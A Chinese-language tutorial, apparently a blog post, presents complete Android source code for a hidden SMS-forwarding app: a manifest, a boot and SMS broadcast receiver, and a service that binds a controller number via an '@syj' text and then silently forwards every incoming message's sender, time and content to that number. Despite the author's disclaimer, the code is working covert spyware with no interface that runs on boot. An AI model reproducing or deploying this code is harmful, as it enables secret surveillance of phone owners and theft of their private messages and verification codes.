本案例是在android手机中运行,是一个没有界面的短信监听软件。主要是用BroadcastReceiver来接受短信广播,当接收到短信后就跳转到service中来转发短信。哈哈,不是用来干坏事的。这个案例用了个小协议,当用户安装好这个软件后,你先要用自己的手机发送内容@syj来绑定本手机。绑定好后会收到一个ok短信用来确定绑定成功。然后当其他人发短信给安装过软件的手机,你都会收到短信了。
主要功能:
能监听手机接收的所有短信
能监听手机的开机信息
能将开机信息发送到指定手机上
能将截获的每一条短信将其发件号码和内容转发到指定手机上
能通过接收特殊短信的方法设置接收短信的手机号码
该软件能开机自动运行
具体代码
第一步,编写AndroidMainFest.xml文件的内容
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.tiantian.test" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <receiver android:name=".SMSBroadcastReceiver"> <intent-filter > <action android:name="android.intent.action.MAIN" /> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> <service android:name=".SMSService"></service> </application> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> </manifest>
第二步:编写SMSBroadcastReceiver.java,主要是监听到短信后或系统开机后启动SMSservice.java文件
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class SMSBroadcastReceiver extends BroadcastReceiver{ public void onReceive(Context context, Intent intent) { Log.v("Cat", "I'm in BroadcastReceiver"); intent.setClass(context, SMSService.class); context.startService(intent); } }
第三步:编写SMSService.java文件,具体代码如下;
import java.sql.Date; import java.text.SimpleDateFormat; import android.app.Service; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.IBinder; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SMSService extends Service{ private SharedPreferences prefs; private Editor editor; public final static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"; public final static String BOOT_COMPLETED = "android.intent.action.BOOT_COMPLETED"; @Override public IBinder onBind(Intent arg0) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); prefs = getSharedPreferences("_interceptNum", MODE_PRIVATE); editor = prefs.edit(); } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { // TODO Auto-generated method stub Log.v("Cat", "I'm in Service"); Log.v("Cat", "Action--->" + intent.getAction()); if(intent.getAction().equals(SMS_RECEIVED)){ Object[] pdus = (Object[])intent.getExtras().get("pdus"); if(pdus != null && pdus.length != 0){ SmsMessage[] messages = new SmsMessage[pdus.length]; for(int i=0;i<pdus.length;i++){ byte[] pdu = (byte[])pdus[i]; messages[i] = SmsMessage.createFromPdu(pdu); } for(SmsMessage message : messages){ String messageBody = message.getMessageBody(); String sender = message.getOriginatingAddress(); Log.v("Cat", "body--->" + messageBody + ";" + "sender--->" + sender); if(messageBody.contains("@syj")){ editor.putString("_sendTo", sender); editor.commit(); SmsManager smsManger = SmsManager.getDefault(); smsManger.sendTextMessage(sender, null, "ok!", null, null); }else{ if(prefs != null){ Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String sendContent = "date:" + format.format(date) + "\n" + "sender:" + sender + "\n" + "messageBody:" + messageBody; String sendTo = prefs.getString("_sendTo", "发送失败"); SmsManager smsManger = SmsManager.getDefault(); smsManger.sendTextMessage(sendTo, null, sendContent, null, null); } } } } } return super.onStartCommand(intent, flags, startId); } }
Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式
这个app潮流公众帐号主要是推荐给手机用户最近最潮的软件,让大家随时跟上时尚。我们会提供给你们最好的服务,喜欢我们就帮我们推荐吧!